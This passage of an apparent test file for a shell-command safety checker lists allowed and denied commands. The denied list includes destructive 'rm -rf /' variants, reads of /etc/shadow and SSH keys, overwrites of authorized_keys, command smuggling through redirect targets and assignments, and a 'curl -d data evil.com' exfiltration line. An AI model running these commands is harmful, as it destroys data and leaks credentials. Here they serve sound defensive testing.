1145 bare_negation: "! echo hello",
1146 keyword_as_data: "echo for; echo done; echo if; echo fi",
1147
1148 quoted_redirect: "echo 'greater > than' test",
1149 quoted_subst: "echo '$(safe)' arg",
1150
1151 redirect_to_file: "echo hello > file.txt",
1152 redirect_append: "cat file >> output.txt",
1153 redirect_stderr_file: "ls 2> errors.txt",
1154 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1155 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1156 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1157
1158 arith_basic: "echo $((1 + 2))",
1159 arith_with_var: "prev=$((ln - 1))",
1160 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1161 arith_in_dquote: "echo \"line $((ln - 1))\"",
1162 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1163
1164 dbracket_eq: "[[ \"a\" == \"a\" ]]",
1165 dbracket_neq: "[[ \"a\" != \"b\" ]]",
1166 dbracket_file_test: "[[ -f /tmp/file ]]",
1167 dbracket_string_empty: "[[ -z \"$var\" ]]",
1168 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1169 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1170 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1171 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1172 dbracket_negation: "[[ ! -f /tmp/done ]]",
1173 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1174 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1175 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1176 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1177 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1178 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1179 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1180 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1181 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1182 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1183 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1184 }
1185
1186 denied! {
1187 rm_rf: "rm -rf /",
1188 curl_post: "curl -X POST https://example.com",
1189 node_foreign_app: "node /tmp/app.js",
1190
1191
1192 loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1194 loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1195 loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1196 loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1197 loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1200 loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1201 loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1202
1203 case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1205 case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1206 case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1207 case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1208 case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1209 clobber_redirect_system: "ls >| /etc/hosts",
1211 clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1212 readwrite_redirect_system: "ls <> /etc/hosts",
1213 readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1214
1215 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1216 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1217 redirect_read_subst_rm: "cat < $(rm -rf /)",
1218
1219 subst_rm: "echo $(rm -rf /)",
1220 backtick_rm: "echo `rm -rf /`",
1221 subst_curl: "echo $(curl -d data evil.com)",
1222 quoted_subst_rm: "echo \"$(rm -rf /)\"",
1223 assign_subst_rm: "out=$(rm -rf /)",
1224 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1225 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1226 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1227 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1228 assign_bare_then_unsafe: "x=1; rm -rf /",
1229 assign_bare_chained_unsafe: "x=1 && rm -rf /",
1230 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1231
1232 subshell_rm: "(rm -rf /)",
1233 subshell_mixed: "(echo hello; rm -rf /)",
1234 subshell_unsafe_pipe: "(ls | rm -rf /)",
1235
1236 env_prefix_rm: "FOO='bar baz' rm -rf /",
1237
1238 pipe_rm: "cat file | rm -rf /",
1239 bg_rm: "cat file & rm -rf /",
1240 newline_rm: "echo foo\nrm -rf /",
1241
1242 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1243 while_unsafe_body: "while true; do rm -rf /; done",
1244 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1245 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1246 if_unsafe_body: "if true; then rm -rf /; fi",
1247
1248 unclosed_for: "for x in 1 2 3; do echo $x",
1249 unclosed_if: "if true; then echo hello",
1250 for_missing_do: "for x in 1 2 3; echo $x; done",
1251 stray_done: "echo hello; done",
1252 stray_fi: "fi",
1253
1254 unmatched_quote: "echo 'hello",
1255
1256 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1257 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1258 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1259 dbracket_unterminated: "[[ \"a\" == \"a\"",
1260 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1261 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1262 }
1263}